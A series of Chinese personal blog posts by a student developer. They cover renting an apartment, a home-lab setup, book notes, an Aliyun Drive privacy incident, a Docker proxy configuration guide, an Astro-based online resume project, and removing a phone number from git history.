至于 AI 功能,当然目前没有 IDE 比得上 Cursor。Cursor 的 AI 确实惊艳,但我个人认为它更适合快速从零开始创建一个项目,而对于现存比较大的项目的继续开发,我更偏向于手写。Zed 能够使用 GitHub Copilot,也支持接入自己的 API,对我而言也够用了。

除此之外,Zed 简洁有设计感的 UI 也是打动我的一部分。😁

☁️ Self-hosting 的必要性

本周阿里云盘出现了史诗级的故障:用户通过 bug 能够看到其他用户云盘中存储的照片。在各大社区都有帖子,揭示该 bug 能够 100% 轻易地复现。能看到的图片甚至包括发票单据、私人照片等敏感信息。

虽然最近各种云的故障频频发生,腾讯云、网易云、金山都出现过事故,阿里云也刚刚出现新加坡机房火灾的事件,但这些都只涉及可用性,代价无非是一段时间服务无法访问。然而,此次阿里云盘的事故,却关系到数据安全性,比之前一切事故都严重得多。至今,只有少数媒体的简短报导(并一律以「官方已解决」为结局戛然而止),显然是经过了公关。而阿里云盘官方至今没有给出任何回应。(最近真是该厂的多事之秋:新加坡机房着火;云盘出现这样的事故;飞猪平台又被曝市监局短信事件……)

这件事情再次提醒我们数据安全的重要性,尤其严重的是它居然发生在这样一个我以前十分信任的产品上。不过,换个角度想,别的云盘,乃至一切我目前信任的云服务,都可能出现类似的问题。这次只是阿里云盘的照片出问题,下一次万一是我主用的 iCloud 呢?万一是更敏感的密码管理器呢?

因此,对于重要的数据,特别是密码这类敏感的数据,我一定会选择自己部署 self-hosted 的开源软件服务,例如 vaultWarden。虽然也有一定的风险,但至少数据安全由我自己负责,而不是由什么草台班子负责。

😡 愤怒能够消解抑郁情绪

本周经历了一次极差的面试体验。面试官首先没问我的任何项目,直接问了八股;在我明确表示对他所问的话题了解不多时,他还继续针对这一问题穷追不舍地问。最过分的是,由于我很多问题没回答上来,(按我的理解)面试官几次隐晦地表达了讽刺和贬低的意思。事后想想感觉被 PUA 了,或许这就是 KPI 面。

当然,刚面完这场的时候我的情绪是非常沮丧的,毕竟事实是我没能回答上来很多问题。差点就陷入了一种自我否定的情绪。结果和朋友狠狠吐槽了一通这个面试官,将我的情绪转变成愤怒。骂完之后我发现自己的情绪好多了,刚才的沮丧和抑郁居然减轻了不少。

想起来《蛤蟆先生去看心理医生》提到过:愤怒是一种很必要和健康的情绪;性格暴躁的人往往是不会得抑郁症的。适当的时候,愤怒确实能够很好地调节情绪,避免内耗。

以后要多愤怒,少内耗!😡😡😡

📚 本周在读:《别独自用餐》

《别独自用餐》,我称之为「当代社交指南」。

本书指出了人际关系的重要性。「经济潮涨潮落,友谊地久天长。」在经济快速变化的时代(无论是发展还是衰退),今天的财富、职业、权力可能随时灰飞烟灭,只有真正的友谊不会。许多信息也并不存在互联网上,只能通过人去获取掌握。(上周的《远见》中,也提到了人脉对职业生涯的重要性)参加了 Advx 之类的活动,和越来越多的人交流,我其实也越来越认识到社交的重要性。这和所谓 i 人 e 人无关,与人沟通、建立 connections,是成功的职业生涯和生活的必需品。

本书提出,要有策略和有目的地进行社交,制定自己的社交 OKR 和「行动计划」,将其作为自己的一项任务去严肃地执行。(这让我想起来《远见》中的这个观点:把每次聊天都当成一场面试)

在学校里,尤其在我们信息院,会主动社交的人太少了,大多数都是所谓的传统「理工男」。这导致一直以来我也对这样的环境习以为常,没能了解到社交的重要性,也不知道如何去社交。而参加各种活动之后,以及参考了这些书里的各种事例和许多技巧,我能观察学习到别人的社交模式,认识新朋友变得不那么难了。

我发现我的「社交舒适区」就是线下的 1v1 聊天。如果陌生人很多我可能会不自然,但线下 1v1 我一般都能比较放松。当然,内向和外向的人充电方式是不同的,超高强度的社交对我来说是无法忍受的。找到自己的「舒适区」十分重要。(比如,我不可能像本书标题所说那样,不「独自用餐」!)

我将社交作为本 gap year 的年度核心任务之一。

你要记住,爱、互惠和知识并不像银行存款那样越用越少。创造力会激发更多创造力,金钱会带来更多金钱,知识会带来更多知识,朋友会带来更多朋友,就连成功也会引领更大的成功。最重要的是,你的付出会带来别人的付出。纵览历史,这个「生成」道理在当今社会表现得最为明显,在这样一个人际时代,世界的运行越来越合乎人际交往的准则。

无论你现在正处于人生的哪个阶段,无论你知道什么,你都要明白,你所拥有的这一切都是你的思想、经历和那些你接触的人共同促成的,而那些东西或是你亲身所得,或是你通过书籍、音乐、电子邮件或你所处的文化间接得来。现在并没有记录表明,积累要达到多少量,事物才会向越来越多的方向发展。因此从现在起你就要下定决心,开始广交朋友,积累知识、经验和人脉来帮助自己实现目标。

🤔 Q4A #0:为什么你的岗位好像螺丝钉?

这是一个全新的栏目:Questions For Answers,简称 Q4A

实习的时候一次主管和我谈话,当时我有很强烈的一种感受:我其实有很多想问的问题,但一时想不起来了。然而,这种交流机会其实并不多,错过了就是错过了,没能抓住机遇了解这些问题会非常可惜。所以,我在记事本里专门开了个文件夹:Questions,记录我想要了解的问题,这样可以持续思考,随时准备向合适的人寻找答案。

本周 Q4A #0:为什么你的岗位好像螺丝钉?似乎很多人都有这样的感受:我们在岗位上好像一颗螺丝钉,每天做着一个又一个的需求,工作无需任何创造力,像是简单重复的机械劳动,且可以被替换。为什么呢?

  • A. 这是(较低端)研发岗位的特性。研发岗和计算机打交道多,与人打交道少,「社会性」更低,意味着更容易被取代;许多业务需求(尤其在前端领域)难度不大,门槛低,难以形成技术壁垒。
  • B. 这是特定大厂文化使然。国内许多大厂并不重视企业、团队价值观与文化认同,只将员工作为工具人使用(因此,大量使用外包 / 内包员工),员工也缺乏归属感和意义感。
  • C. 这是现代企业制度使然。工业社会越来越细分的分工,(按照马克思所言)使得人与工作的关系被异化了。参考阅读:《Bullshit Jobs 毫无意义的工作》。
  • D. 这是个人能力不足的体现。真正有能力的人应该自己主动「结合对业务的思考」,在业务中获得技术沉淀,形成个人优势,找寻个人价值。
  • E. 其他原因。👇 评论区。

我的实习工作经历实在太少了,认识还不多,以上只是我的猜想,不一定对。你觉得呢?🤔

下周见!

Weekly #16:年轻人的第二次租房

🌆 封面图:傍晚的月色

封面图:傍晚月色

🏠 年轻人的第二次租房

本周回到长沙,忙着租房和布置新房,在长沙 39 度的烈日炎炎之下搬东西,累死了!

这是我的第二次租房。之前的第一次租房,差不多是在去年的这个时候,当时还没有写 Weekly,所以没有留下什么特别的印记。其实租房的过程还是挺折腾的。

租房的考虑要点

有了第一次租房的经验,我这次看房的时候,列出了关于租房要考虑的要点的 checklist:

  • 要有独立卫浴
  • 空调(功率、品牌型号)
  • 洗衣机(品牌型号)
  • 要有洗手池和镜子
  • 窗户采光,能方便地晾衣服
  • 能自己装宽带
  • 桌子足够大、有足够空间放路由器和椅子
  • 衣柜足够大
  • 整体卫生程度
  • 楼栋(是否吵闹、交通便利性)

测甲醛!

签完合同到房间里坐了一会,感觉有一点异味,是一种装修的气息。由于墙壁地板都看起来很新,我开始怀疑会不会是刚装修的房屋,可能有甲醛超标的情况。上网搜了一下,遇到这种情况的租客还不少。甚至有的租客在这样的房子里住了不到一年,由于吸入过多有毒气体,身患白血病离世!

为了确保安全,我在京东上买了两盒甲醛试剂盒测试。国家标准是 0.08,测试结果正是 0.08 上下,尚且处于安全范围,虚惊一场。然而我查到欧盟的标准是 0.03……为了健康起见,买了一台米家空气净化器。

虽然我没踩雷,但启示是:租房一定要问清楚装修时间,考虑甲醛等状况。如果确实有重度甲醛超标,维权起来是挺麻烦的。毕竟试剂盒的检测结果无法律效力,如果确实要证明甲醛超标,需要请专业的检测机构,价格不菲。即使确实能证明超标,一般只能和房东协商或者请中介、住管局调解。调解不成可以起诉,但起诉过程冗长,费时费力。不过,如果走到了起诉这一步,一般是能赢的。《民法典》七百三十一条:

租赁物危及承租人的安全或者健康的,即使承租人订立合同时明知该租赁物质量不合格,承租人仍然可以随时解除合同。

每一次租房都是踩坑的历程!

洗洗衣机!

签完合同当天,预约了某品牌当晚的家政服务,上门清洗洗衣机和空调。当我怀疑有甲醛时,我想着第二天先用试剂盒测试一下,如果有问题可能就不入住了,于是在小程序上取消了预约。结果这个师傅打电话来,说我这边取消预约他们会被罚款!

第二天晚测完甲醛发现没问题,我还是让这个师傅上门了。

师傅告诉我,我取消了订单,他被主管点名批评,罚款了 100 元。(当然他说明了这都不怪我,都是这个恶心的平台的问题)讽刺的是,我看他点开了熟悉的钉钉,那句熟悉的「让进步发生」……他干脆申请了停工一天,这次上门给我服务是不经过平台的。我还是付一样的钱款,只是私下微信转账给他。

这个师傅看起来也没比我大多少。洗洗衣机的时候聊了几句,他谈到他在学校和同学打架,没能上大学,现在只能学一些简单的技术。我说到现在我们大学生找工作也不容易,他惊讶地说:「你们湖南大学,985!找工作还难?」

我很少接触这些比较底层的人们。感觉到一种巨大的鸿沟。他们是我们平常看不见的人。他们没有受过良好的教育,被平台压迫,在时代中苟活。我无法想象这样的生活。

并且,我可能不会再预约该品牌的家政服务了。

装宽带!

我看房的时候就和中介提出了这一要求:一定要能自己装宽带。因为自己装宽带才能用自己的路由器,折腾 OpenWRT 等各种东西,才能有自己的网络基础设施

联系了联通的上门宽带安装,奇怪的是客户经理居然让我把安装费用直接微信转给她,而不是通过官方的平台(虽然我查了价格是一样的)。于是我要求等师傅上门装完了再转账。2024 年的联通居然在使用这种基于信任的交易方式…… 🤔

属于我的网络基础设施

有了宽带,终于能够重启我的网络基础设施

首先是之前自己搭的 Headscale。这是运行在我的腾讯云服务器上的 Tailscale 服务端软件。通过它建立 VPN,我的所有设备可以连通在一起,无论何时何地我都能访问到家里的任何设备,就像在一个局域网内一样。

其次是我的树莓派。目前跑着 HomeBridge,提供米家空调伴侣和空气净化器对 Apple HomeKit 的支持,这样就可以通过 Siri 控制它们(米家台灯则默认支持 HomeKit)。未来还可以用来做旁路由,还有各种玩法……

最后是我的迷你主机,零刻 SER6 Pro Vest。我在上面跑了 PVE,同时运行着 Windows 11 和 Debian 的虚拟机。

  • Windows 11 可 RDP 远程桌面,通过前述 VPN 可以在任何地方远程访问到。还配了显卡直通,在家的话可以直接接显示器玩游戏。
  • Debian 则可以方便地作为本地开发服务器,这样就不用在我可怜的 MacBook Air 上跑一堆容器了。
  • 未来还打算试试跑个黑群晖,让它兼具 NAS 的功能!

有这样 24 小时 online 的主机真的超酷的!就好像在互联网上有个家一样。

新布置的桌面!

孤独解决方案

一个人租房,遇到问题难免有一种无助的感觉。

在杭州习惯了亲橙客栈每天刷脸进出的体验,回到长沙之后我居然两次忘带了钥匙……第一次是落在酒店房间里,我从酒店赶到出租房楼下才发现,于是在烈日炎炎之下回到酒店去拿钥匙。第二次是搬东西的时候落在出租房里,幸亏房东有备用钥匙……

刚签完合同那几天,长沙 39 度的高温,在这种温度下我得搬东西,来回赶,在户外没几分钟就汗流浃背了。这样的高温也难免会使人在生理上有严重的不适(至少对我而言是这样),无法冷静地思考,无法控制情绪。

好在这一切都是暂时的。现在我的出租房终于都 setup 了。一个人住确实很舒服,很自由,除了时常感到孤独。

有没有什么独居应对孤独的解决方案呢?

📚 本周在读:《你不知道的 JavaScript》

你是否也曾对解答各种各样的为什么很上瘾?大多数孩子都会。事实上,这可能是孩子身上我最喜欢的地方 —— 求知欲很强。

很遗憾,现在我从事着一份专业性的工作,并以制作一些东西来度日。而我儿时的梦想是有一天能够制作那些被我拆开过的东西。当然,现在我所制作的大部分东西都是用 JavaScript 做成的,而不是铁氧体棒……但它们很相似!尽管我曾经一度非常热爱制作东西,但是现在却更渴望了解事物的运行原理。我经常寻找解决向题或修复 bug 的最佳方法,却很少花时间来研究我所使用的工具。

这也是什么我一看到「你不知道的 JavaScript」系列图书就很激动,因为 JavaScript 的确有很多我不了解的地方。我每天从早到晚都在使用 JavaScript,并且已经持续了好几年,但我真的了解它了吗?答案是否定的。当然,我了解它的很多细节,并且经常阅读标准文档和邮件列表中的内容,但是了解的程度低于我内心那个六岁的孩子希望我达到的水平。

—— 《你不知道的 JavaScript》序

🎵 ...Ready For It?

下周见!

Docker 代理配置方法合集

由于众所周知的原因,使用 Docker 时可能会遇到诸多网络问题。然而,网络上关于此的文章充斥着杂乱无章的错误内容,而官方文档的描述也没有特别清楚。本文依据文档和亲身实践,整理 Docker 中各种代理配置方法,留供参考。

Docker daemon 代理

当执行 docker pull 拉取镜像,一般是从 DockerHub 等仓库拉取,此时容易遇到网络问题。

这一拉取过程实际上是 Docker daemon 在执行,而它是由 systemd 启动管理的,并不直接使用我们 shell 中配置的代理环境变量。为了让其走代理,需要编写其 systemd 配置。

文件位置:/etc/systemd/system/docker.service.d/http-proxy.conf

内容示例:

[Service]
Environment="HTTP_PROXY=http://127.0.0.1:1080"
Environment="HTTPS_PROXY=http://127.0.0.1:1080"

保存配置后,需要重启 Docker daemon。注意:这会重启所有容器。

sudo systemctl daemon-reload
sudo systemctl restart docker

相关文档:Configure the daemon to use a proxy

容器内代理

容器内的应用或许需要访问网络,我们也希望其流量通过代理。这需要在容器内配置环境变量。

可以在 Dockerfile 或者 docker run 的时候设定环境变量,但这要求对每个容器都写重复的配置。有一种更方便的方式:进行如下配置后,启动的容器都会自动设置 http_proxy 等环境变量。

文件位置:~/.docker/config.json

内容示例:

{
 "proxies": {
   "default": {
     "httpProxy": "http://example:1080",
     "httpsProxy": "http://example:1080",
     "noProxy": "*.test.example.com,.example.org,127.0.0.0/8,192.168.0.0/16"
   }
 }
}

指定 httpProxy 属性值,相当于在容器内同时设定 http_proxyHTTP_PROXY 两个环境变量。

保存配置后,无需重启任何服务。在保存配置之后启动的 docker 容器,都会自动配置对应环境变量(之前的容器不会改变)。然而,应用是否读取该环境变量并使用代理设置,取决于应用的实现。这并不是一个标准。

⚠️ 注意:此处环境变量会在容器内被读取,所以地址 127.0.0.1 指的是容器自身,而非宿主机。

⚠️ 注意:如果容器是以 root 模式启动的(使用 sudo),上面所述的 ~/.docker/config.json 其实指的是 /root/.docker/config.json

⚠️ 注意:curl 等工具并不支持 socks 代理,只支持 http。所以建议统一配置 http 代理。

相关文档:Use a proxy server with the Docker CLI

Build 时代理

在运行 docker build 时,许多操作容易遇到网络问题。这个 build 过程其实也在一个 Docker 容器中进行,所以读取不到我们 shell 环境的代理环境变量,也访问不到我们的主机网络。

解决方案是,首先指定 build 时使用的网络环境为 host:

docker build --network=host

或者在 docker-compose.yml 中:

build:
  context: .
  network: host
  dockerfile: Dockerfile

接下来,在 Dockerfile 中,设置环境变量:

ENV http_proxy "http://127.0.0.1:1080"
ENV HTTP_PROXY "http://127.0.0.1:1080"
ENV https_proxy "http://127.0.0.1:1080"
ENV HTTPS_PROXY "http://127.0.0.1:1080"

我的终极代理解决方案

我们希望容器内外的网络都使用同样的代理。为了方便容器内的访问,更好的选择是将代理程序作为一个容器运行。

我的解决方案是:单独启动一个名为 proxy 的容器,专门负责进行网络代理;映射 1080 端口,为宿主机提供代理。

  • 容器外:只要配置代理地址 http://127.0.0.1:1080
  • 容器内:只要加入 proxy 同一网络,并配置代理地址 http://proxy:1080

⚠️ 注意:不要将此端口暴露在公网中,否则被 ISP 扫描到可能要写保证书。

Happy Self-hosting!

Weekly #15:这个夏天的日落合集

我只对未来感兴趣,因为我的余生将在那里度过。

—— Charles Kettering,via《远见》

本周我正式结束了实习,回到了长沙!

这两天忙着租房和搬家,周记都没空写了。其实从杭州回到长沙,还有挺多事情和想法值得记录的(留一些给下周!)。相比之下,平时我偶尔会到写周记的时候发现没什么内容值得写。看来,变化的生活才能够催生新的想法

🌆 封面图:飞机上的日落

封面图:飞机上的日落

在杭州看的最后一次日落,是在飞机上。超喜欢这张照片,入镜的飞机引擎很有感觉。

🌄 这个夏天的日落合集

回到长沙,翻看相册,发现这个夏天在杭州拍了好多次日落。选了两张我特别喜欢的。iPhone 拍照实在太糊了,但是我目前还买不起相机!

发奋街之一

发奋街之二

夏天会出现独有的粉红色的晚霞。我一直记得高中的周末,夏天傍晚经常在学校里见到这样的晚霞。

夏天是我最喜欢的季节。这种独特的粉色给激情似火的夏天增添了一份浪漫。

Time, wondrous time
Gave me the blues and then purple pink skies
And it’s cool
Baby with me
And isn’t it just so pretty to think
All along there was some
Invisible string
Tying you to me

插播一个题外话:人为什么会觉得日落很美丽呢?很多自然现象都会给人带来愉悦的感觉,比如日出日落的景象、海浪的声音、淅淅沥沥的雨声。这种感觉似乎并不是人在社会中形成的,而是人的原始本能。我暂时没有想到进化论如何解释这一点,因为这些自然现象并不直接关系到人类的生存或繁衍。🤔

🎓 我该如何度过大四一年

本学期开学,我就正式步入了大学四年生活的最后一年。

我将这一年定义为「gap year」。要(尽量)将所有时间花在阅读、旅游、学习、社交和探索自我这些事情身上。毕业之后,或许很少有这样的机会了。大学的前两年多,我都迷失在学习成绩和一些无聊无用的事情上,有一种时间被浪费的感觉。而到现在才发现,我并没有充分探索自己是怎样的人,也没有充分探索这个世界。最后的一年,我希望好好珍惜。

之前的 Weekly 提到过,如果回到大一,我真希望把大学四年都看成 gap year。

虽然是 gap year,我却有一种十足的紧迫感。再不 gap 就来不及了!因为现在发现,我对世界的了解越多,就会发现不了解的越多。以前觉得,毕业后的去向无非是一道选择题,保研、考研或是考公、工作,只要做出这个选择,大学的阶段性任务就完成了。现在会发现,职业生涯的选择乃至人生道路的选择,是一道开放式的问题,我们究竟如何规划自己的未来,我们希望成为什么样的人,这些问题都不是可以简单地在几个选项里选择的,而是需要基于对自己足够的认识和对世界足够的了解。这一切都是学校无法教给我们的。

💡 大四的核心目标:阅读、旅游、学习、社交、探索自我。

📚 书看得多了,人容易不现实

文学讲述的故事大多都是波涛汹涌的、精彩的、戏剧性的。

不管是书中的爱情、事业……都是如此。小说往往是「源于现实,高于现实」,也往往只有精彩的人生值得记录,所以会被写成书籍。书里的这一切,很容易让人对现实产生不切实际的期待。

而与此相反,现实生活在大多数时候都是平凡和乏味的。

我时常想,日子一天天平凡地流过,我为什么没有遇到文学作品里、电影里、音乐和诗歌里那样浪漫美满的恋爱,那样激动人心的事业,那些卓越和富有激情的同事,那些值得我 drop everything 的使命和梦想呢?

📖 本周在读:《远见》

《远见》讲述了一个职业生涯的框架,将职业生涯分为三个阶段,每个阶段各为 15 年。这本书还提出了「职场燃料」的概念,认为我们在职场中真正应该积累的是所谓「职场燃料」,包括可迁移的技能、经验和人脉关系、

本书提出,我们应该找寻职业生涯的「甜蜜区」:我们擅长的、我们爱好的,和这个世界需要的,这三个集合的交集。找到这个「甜蜜区」是职业生涯第一个 15 年的任务(而我们总误以为在大学期间就能找到它。甚至大多数人没有这样的意识)。

本书的大量案例,给我们展示了各行各业的卓越人士的职业生涯,他们在职业道路上的探索,他们如何找到自己一生所追求的事业(职业生涯「甜蜜区」),他们如何将自己的一生奉献给它。看这样的传记,就像体验别人的人生,能给我带来许多新的视角。甚至也让我有些摩拳擦掌地期待开启自己的职业生涯!

作为首席执行官和职业咨询师,我经常会看到一个现象:人们低估了职业生涯这段旅程的长度,中途就把燃料耗尽了。许多人关注的是职业生涯的表相:头衔、晋升、办公环境、薪水和奖励。这些可以算是职业生涯的重要里程碑,但并不是尾声。如果说读了这本书你需要记住什么的话,那就是真正成功的可持续职业生涯是靠职场燃料推动的。 聪明的职业策略应该是,在整个职业生涯中积累职场燃料并不断更新,同时精明地消费它们。

亚当·格兰特在《沃顿商学院最受欢迎的成功课》中说:「如果人们对职业生涯早期的期望能更现实一些就好了。」整个第一阶段往往长达15年,是一个学习和探索的过程,充满了尝试和错误。这时并不是为了找到一份你每天都津津乐道的神话般的工作,而是要找出你擅长什么、不擅长什么、喜欢做什么,以及不喜欢做什么。 第一阶段并不仅仅是被动地增长年龄和阅历,像一块牛排一样「更加入味」,而是一个高度活跃和有目的性的阶段。

大学里我们谈到的所谓「职业生涯规划」,无论是在教育部的所谓专项活动里,还是在老师、辅导员口中,无非都是关于「毕业后要做什么」的决定而已。这只能称为短暂的「职业选择」,而远远谈不上「职业生涯规划」。本书为我们提供了一个全面的视角,让我第一次用长远的眼光看待自己的职业发展。

💡 TWIL:清理 git 历史中的敏感信息

这是一个全新的板块:This Week I've Learnt,简称 TWIL。记录一些以后说不定用得上,也有些分享价值的经验。

上周将 WebCV 开源了,之前这是一个 private repo,我只是将其存到 GitHub 上,生成简历则在本地。简历里包含我的手机号这一敏感信息,我自然也没有脱敏。然而现在要将 WebCV 开源,自然要将这一信息脱敏。而 git 会保留所有历史记录,如何将 git 历史中的敏感信息都删除呢?

解决方案之一是使用 git-filter-repo 工具。用法:

brew install git-filter-repo
git filter-repo --replace-text <(echo 'literal_or_regex_to_find==>replacement')
git push origin --force

下周见!

WebCV:基于 Astro.js 的在线简历

基于 Astro.js 制作了我的新版在线简历。隆重推出:cv.skywt.cn

为什么要用 Web 制作简历?

要制作一份能够充分自定义的简历,有很多种工具,很多种方式:

  • 最简单的是直接用 Microsoft Word 编辑;
  • 也可以用 Markdown 写好简历再应用模板;
  • 更高端的方式是用 LaTeX 或者 Typest 这样的工具编译生成简历;
  • 甚至可以用 Figma 来进行更精细的制作。

最开始我打算用 LaTeX 编写简历,在 Overleaf 上也能找到不错的模板。然而从成功地使用模板,到随心所欲地自定义模板,这个学习曲线不是一般地陡峭。

后来看到了关于 Typest 的安利,号称能替代 LaTeX。于是尝试了一下 Typest。然而这一套新的语法和 LaTeX 一样上手门槛高,劝退了我。

仔细想想,本质上这些工具都是一种「描述简历内容的语言」而已。使用这些工具创造简历的过程,实际上是在向计算机描述我们想要看到的简历的过程。那么,作为一名前端开发者,我最熟悉的「语言」是什么呢?答案当然是 Web 的技术栈。(实际上,在使用 LaTeX 的时候,我经常会想:「如果能用 CSS 来写样式就好了……」)

上周的《Weekly #14:做 PPT 相比 coding 的痛苦之处》里也提到,例如 PPT 这样的工具的表达能力就是不如代码的。擅长 coding 的人用起这些工具来十分痛苦……

于是我选用了 Astro、Tailwind 这一套技术栈制作了这个简历系统。

使用指南

这是我为自己制作的简历。开源在 GitHub:WebCV。如果你也喜欢,可以 fork 并轻易地填充你自己的内容。

如果需要导出 PDF,可以使用浏览器的「打印」功能。

简历结构

每一份简历分为一个 header 和若干 section。

Header 部分显示个人信息,包括姓名、电话、邮箱、照片等。

每个 section 是简历的一个板块,包含标题(如「教育经历」)和若干 project。

每个 project 可以是一段教育经历、实习经历、项目经历、获奖经历、校园经历等。基本结构如下图:

一个 Project 的结构

其中 title、subtitle、desc、date、caption、techs、items 的内容都可在下述的配置文件中配置。

表格 table 的结构比较特殊,包含 N 行、M 列、NM 个单元格,每个格子包含若干行,每行是一些技术栈的展示。具体结构可查看下述配置文件。

简历配置

对一份简历的描述,称为一个「配置文件」,是一个 YAML 格式的文件,在项目的 src/content/cv/ 目录下。部署网站后,访问对应文件名的路径,即可查看对应简历。

例如,在该目录下放置 example.yml 配置文件,则部署网站后访问 /example 即可查看该简历。

内容可参考我当前的简历配置文件:general.yml

关于设计

图标库 tabler

展现某个项目的技术栈的时候,如果能在对应的技术(比如 React.js)前展示一个小图标,那肯定很酷!

我找到了一个包含大量库和框架的图标库:Tabler Icons。它有很多前端框架的图标,React、Next、Vue、Nuxt 甚至 Astro,但是后端的库和框架图标是一个都没有……所以我的简历里后端的框架或库都找了一些抽象的图标来表示。

可以在 Tabler Icons 官网找到所有支持的图标。

字体选用

对于含有大量文字的排版,留给平面设计的空间并不多,字体的选择就至关重要,这甚至直接决定了页面的整体风格。

一直以来我都比较喜欢 serif 字体,比如博客和上一版简历用的都是思源宋体。这种字体统一、文艺、正式,并且可以方便地作为 Web 字体。通过这种字体,能够很好地传达一种「性格」,也就是《Refactoring UI》里说的 personality。然而,在仔细端详我的简历之后,我突然觉得:我想传达的性格不应该是这样的。我不想要这么正式古板,不想要这么文艺复古和多愁善感。我希望传达的是科技感、年轻、热情和热爱。

然而,普通的 sans 字体都太普通了,很难表达出我想要的感觉。不管是苹方、方正还是思源,用在简历里都显得特别廉价,一点都不 impressive。

在某厂实习期间,看到的一款字体似乎比较符合我想要传达的性格:钉钉进步体。这个字体有个性却不花哨,介于艺术字体和 sans 字体之间,非常适合用在简历里。当然,这种字体只适合用作标题,正文部分我还是用了 Google 的思源黑体。这样的字体组合,能够很好地传达出我想表达的气质。

其他优化

相比 WebCV 1.0,本次还有如下更新:

  • 兼容了 Darkmode,和博客访问体验一致。
  • 兼容移动端访问(虽然目前效果并不理想)。

尾声

我觉得一份简历能代表我,至少求职简历能代表我的事业追求。所以我希望它传达出我的某种 personality。这种信息不仅是通过内容传达的,也是通过形式传达的(比如排版、配色、字体)。

希望你能 get 到 😉。

Weekly #14:做 PPT 相比 coding 的痛苦之处

「你看看我太太,」老先生继续说,「她还是小姑娘的时候就很漂亮,而我却一直其貌不扬。在火车上,我第一眼看见她,就立刻爱上了她。我知道,如果那时不找她搭话的话,很可能再也见不到她了。车厢里坐满了人,我坐在她的对面。在这种情况下,要当着别人的面跟她搭话,我觉得这是我所经历过的最可怕的时刻。我得在下一站下车,没有多少时间了。我快要急死了。她要是拒绝我怎么办?还当着所有乘客的面,多丢脸呀!可是我还是冒险去做了。你看,我得到的奖励是什么?我生命中最宝贵的东西。」他温柔地抚摸了一下妻子的手。

汉内坎普太太补充说:「最珍贵的礼物是我们自己争取来的。克服了丢面子的恐惧,世界就会向你敞开大门!」

最早定的每周 Weekly 是要在周一发的,后来定义为「在一周之内发一篇」,延迟到了周二周三周四,现在甚至延迟到了周日。明天就是下一周的周一了……这样算下来我其实延迟了整整一周!

看来下周得提前一点……

🌆 封面图:日落时分

日落时分

夕阳无限好,只是近黄昏。

📑 做 PPT 相比 coding 的痛苦之处

本周在准备转正答辩 PPT。由于最后要交一个 PPT 文件,所以不能使用 LaTeX、Nodeppt、slidev 这类的先进 slide 方案,只能使用古法手工制作 PPT:Microsoft PowerPoint 或者 Apple Keynote。我选择了后者。

去厂内找了一些 PPT 模板,都太丑了,且有多处元素不对齐、字体或大小颜色不一致等问题,还超级喜欢用微软雅黑。真的是非常草台班子的模板。所以我仅仅从模板里捞了一些素材,从零开始自己做。

这种古法制作 PPT 太痛苦了,做的时候总是感叹:为什么不能用 CSS!

首先是元素对齐的问题。Apple Keynote 能够开启辅助线对齐,用触控板能感受到对齐时的微小震动反馈,虽然这体验至少比用鼠标好一些,但远比不上直接用 Flex 布局来得直观。

说到底,PPT 的设计器只是表达了各种元素的绝对位置(像素坐标),而无法表达诸如「对齐」这样的位置逻辑关系。这就好比设计 Web 页面的时候,不许用 Flex、Grid 布局,所有元素都必须是 position: fixed 并且用 left: 50px; top: 100px 来指定位置!这也太痛苦了。

其次是复用的问题。Keynote 提供了「模板」功能,可以创建几个固定的页面模板,一个页面可以应用一个模板,当模板样式更改,所有应用该模板的页面可以同步更改。对于字体样式,它还可以设定可复用的样式,比如 Title、Caption 等,同样更改某种字体样式,所有应用该样式的文本都会更改。这可以说提供了「页面」和「字体样式」两种设定的复用。

然而,这两种复用是有限的。Keynote 无法提供组件组合复用。比如我用几个组件组合成一个元素,如果要创建一个一模一样的元素,我必须复制这些组件,在移动的时候小心翼翼地保持它们的相对位置不变。并且这无法保证一致性:如果我创建了四个元素,突然想改其中某个组件的样式或位置,必须修改四次!如果能把这些组件组合成的元素封装成一个可复用的组件该多好!如果能定义 class、继承或组合、随心所欲地复用,该多好!程序设计里自然而然的思想,在这里却无法自然地使用。

还有各种很痛苦的问题。我们在编写程序(特别是前端页面)的时候习以为常的某些实践,组件复用、封装、模块化、数据流,在 PPT 的世界里都不存在。这就好像已经熟练掌握编程的你,被要求只能用 Scratch 图形化地拖拽制作程序,不许编写代码!

综上所述,我觉得无论是 Microsoft PowerPoint 还是 Apple Keynote 都非常不适合程序员。归根结底,它们的表达能力太有限了,远远比不上代码的表达能力。对于擅长 coding 的人来说,low-code 或者 no-code 工具都挺折磨的。

⌨️ 换套键帽,让 MacBook 焕然一新

我的这台 MacBook Air 马上就要进入陪伴我的第四个年头了。在长久的使用之中,键盘键帽磨损抛光非常严重。看起来的效果就是键帽「油油的」(虽然这种「油」擦不掉),很不舒服。

于是本周在闲鱼上花 ¥43 买了一套新的 MacBook Air 键帽,花了一个晚上把所有按键都换了,顺便清理了键盘。现在,这台 MacBook 看起来就像新的一样!(这成功地暂时打消了我换新 MacBook 的念头,劲省一万元)

上面是旧的回车键,已经被磨得反光了。下面是新买的,像新的一样!(我买了一套美版按键,感觉更简洁)

新旧回车按键的对比

除了空格键、方向键比较难拆,其他按键都很容易,甚至不用专门的工具,只要一张纸质卡片就能拆下来。如果你也受不了 MacBook 键盘抛光的情况,强烈推荐也去换一套键帽!

👀 Apple Vision Pro 体验

本周末去 Apple 杭州万象城体验了 Vision Pro

Apple 杭州万象城

看过很多测评视频了,所以整体的体验内容本身其实没有特别惊艳的感觉,只是「一般地惊艳」。一些体验细节,比如最开始注视校正时的音效反馈,UI 的精美,体验短片的整体呈现,都「符合 Apple 一贯的水平」。

不过这次更惊艳我的是另一种体验:Apple 直营店的体验

刚进店找工作人员 check-in 的时候,由于演示设备需要一段时间准备,我们要在店内稍作等待。他们居然会在手机上记录下我们的样貌、穿着等信息,方便准备好后找到店内乱逛的我们。这个记录似乎是用一个专门设计的 App,我看到了一个颜色选择器。这种细节的体验以前在任何地方从未有过!换作一般的这种场合,可能会安排取号、叫号的机制,像银行或者政府办事大厅那样。但这就太「不 Apple」了。

负责接待我的 Specialist 非常有亲和力。他聊到,他居然自己买过两台 Vision Pro,一台美版,一台国行。他讲到 Vision Pro 的体验是如何给他的奶奶带来震撼。我其实第一次接触店内的 Specialist,感觉他们都完全不像是普通零售店里的销售人员,完全不像是某个企业培训班能培训出来的。我被他们对产品的热情深深感染了。

我不知道 Apple 是如何定义 Specialist 这个岗位的,似乎完全不像普通手机店的销售、客服人员一样是个低端的岗位。相反,他们就像是作为 Apple 产品的一部分,在直营店里也给我们提供了很符合 Apple 风格的体验。

(不过看网上的帖子,似乎也有很多直营店的店员态度很差、极不专业的案例。不知道具体的管理制度是怎样的)

💰 本周在读:《小狗钱钱》

